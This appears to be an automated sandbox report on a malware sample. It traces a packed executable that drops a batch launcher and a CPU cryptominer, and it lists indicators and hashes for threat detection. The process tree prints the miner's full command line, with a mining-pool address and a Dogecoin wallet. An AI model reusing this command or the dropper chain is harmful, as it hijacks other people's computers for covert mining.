73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
292s
max time network
302s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
18/02/2024, 17:45

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2780	b2e.exe
2452	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2452	cpuminer-sse2.exe
2452	cpuminer-sse2.exe
2452	cpuminer-sse2.exe
2452	cpuminer-sse2.exe
2452	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3172-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3172 wrote to memory of 2780	3172	batexe.exe	76
PID 3172 wrote to memory of 2780	3172	batexe.exe	76
PID 3172 wrote to memory of 2780	3172	batexe.exe	76
PID 2780 wrote to memory of 376	2780	b2e.exe	77
PID 2780 wrote to memory of 376	2780	b2e.exe	77
PID 2780 wrote to memory of 376	2780	b2e.exe	77
PID 376 wrote to memory of 2452	376	cmd.exe	80
PID 376 wrote to memory of 2452	376	cmd.exe	80

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3172
- C:\Users\Admin\AppData\Local\Temp\9134.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9134.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9134.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2780
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\93B4.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:376
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2452

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9134.tmp\b2e.exe

Filesize
8.1MB

MD5
0074ed732dd43fb06aacde6b570db0f2

SHA1
54ba96d0307d98c8f2ebdd1dc6dcc82060cc89ec

SHA256
527d16c30d1cfd8d9292982d67be8cfdf8f4421bd0d5f0ac2b82668648d91a67

SHA512
5caa64cd68509e69356a987b996f06ca3228ced3e946c048a88aff2270c826ccb88b153a96a0c1b323e3facda5df387274435a259312ab2ae9a96152ad873630

Download Submit
C:\Users\Admin\AppData\Local\Temp\9134.tmp\b2e.exe

Filesize
6.5MB

MD5
2f0c73a011be6d9448e1d7c6fda887d0

SHA1
e33ef9f62eba576f2b43568f2f4c5a250a79bbdf

SHA256
11a04355136f70f64f43cf886e37b890eeccbeb48d045a1ee79e1e231a9263d6

SHA512
20466b8c8be3b114197946aeadd25a62d9dcf6dc88697b18dcc264c6b531b5730a9b63c1cbddfd9b8799b120b8711e5961152f084e47c050ec37ac1f88d530c5

Download Submit
C:\Users\Admin\AppData\Local\Temp\93B4.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
192KB

MD5
01f228e3eadcf394f8e57348314c7104

SHA1
71571d5d327678688e7c77f19509a17781ae17d0

SHA256
c38983cab3c0de4a73e61d6ed2abcee2567becbfca4b1714d3b03389556880f6

SHA512
eb40b33112cf913383b22dbf4d2977e4c8cee5123620efea1b10d0e5e5d1495e37b12c5f2da0cc778af2044d6f7667ed7b009c019f7e03cdf5f060623f4ce9e3

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
576KB

MD5
6e18fc4eda8ed0e6aa6ed56f84803ab3

SHA1
e4a0a4432fcf3184baae1b01a8cb771ed580dbe2

SHA256
f51cf1f35d722b4af4bde30de5008d67d7256d271953eeb2ff63780978f4a53f

SHA512
25f97a3a07fd0aed4a5e6bd58e4cc3ebc2c56c0a314103536e9342ee10aa3c01baa24b459fb58d7154808594203e2b4fddc23f6c424182e2e8bb3a978b4dc256

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
320KB

MD5
c911df8bf8c66277e14360319b0b93b7

SHA1
598c59c0e7cbecb788ee676db218dc0faaa39bdc

SHA256
4c53941f04ddeae2179047a1c7f8c7f7f46af0f08c424ab66d61f2316f2ee77d

SHA512
13aeae87ee52f22d1c928c99c66e116254cde630c09f90b146962fa61276af13fef653b7a66184d00d614f0379750e641c2e62326ebb5588ca632e56c935d77c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
448KB

MD5
8185100383d0fe360c9198e5a883b08d

SHA1
ab398c469573f8e84d3cfcef01287a0604d6ab5f

SHA256
05ef7288b0d559bf67c3d69c201da9bdcaed0b49ecc538640f7b96c5b82eb538

SHA512
24930ef0caa1f2db2ed60f7dfdb832a172cf7747b0a336b051f73c0087a5f2fabff721487cb49cf5a3bc2be5426554b0a3a0e51541b6a4ca735646af24f1404a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
512KB

MD5
a3dea3777f14f1235327b648410a9406

SHA1
9ab139a0c947962b3c471c36e8b9cca4d750c889

SHA256
ff432926dd375c44e9a86cc2520c46e66be2d212e35fb73f16ebc4b48b98b6d1

SHA512
b6cacf9e5d8adebdb3c4ae9b6eaddda6a90d9eae32bdc4cf6eb36ad7cf14d02486ac0c32942e3bc504e943a544fa71a6c9e2fec8fb07c456290646107b4edea2

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
384KB

MD5
eec15153c344f43f1919cb379b9ee2f9

SHA1
3e4a09390ac885ea2797209603bcfa1ec6ff0cc6

SHA256
4e4d7ecae87e8e656c61af89ef17146baf33fbf09ffbde6ae971d04e8e8f9222

SHA512
7cdf3552341d14979838f8fedf9ac63482152f193ab8f7e0af281ec50b2a43312d78c0e22e79989818c5041538fa69769350e1e6cf0789a165be1eb11ee29908

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
448KB

MD5
19a61444b6e2d01755ede80960bca19c

SHA1
e0c7222784d3e2b3329ec3280648b17fd60ef209

SHA256
13fd488b38f3b75438e9ad0a033df005cd397f3c92f43275714a0a7eb3fb4db8

SHA512
bc02c82bdac19f10f3e3a93d3f507bb7838c9255b7cff5af6e3a7f3b471dae9c45c52728c3c23857b3402dd1702cb51a20f225a4da992c26a997c26d86b6b1d9

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
384KB

MD5
b91f7bb5508b343188ec32dcc7880611

SHA1
fe2ae7ba4a1bbb2a5df7b73f21a0b8fc745cc11f

SHA256
47881756cdfcb302e63efb2016c122a1bb61574d81186275aef3d5a9fb72b84b

SHA512
a5b91bc653cbf28219b6f169d5d849fb53eced9a932b8edf468c9092544795ee8120d5c76f0c45f27b7a2464c328f5bffcabf3e83d2e7236263ea930cf92eea0

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
256KB

MD5
1d86b9560854472453237bcbaa2e253f

SHA1
5a03a7902d250377a3e9f746badcb696e2c98228

SHA256
1493703a430c68bdcedcb4078486daca39a02820199e7b72017c7b1af66e1c8d

SHA512
afbc3d7f8e06e41db25d666999f4d162af7054a66b17a651ac8a7f092f83580a067bfa2f558be65ace5966dffaa8735fe7a579e88bf42b34eaa3e72cdec96699

Download Submit
memory/2452-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2452-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2452-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2452-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2452-42-0x0000000057CA0000-0x0000000057D38000-memory.dmp

Filesize
608KB

Download
memory/2452-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2452-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/2452-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2452-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2452-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2452-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2452-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2452-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2452-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2452-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2780-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2780-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3172-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download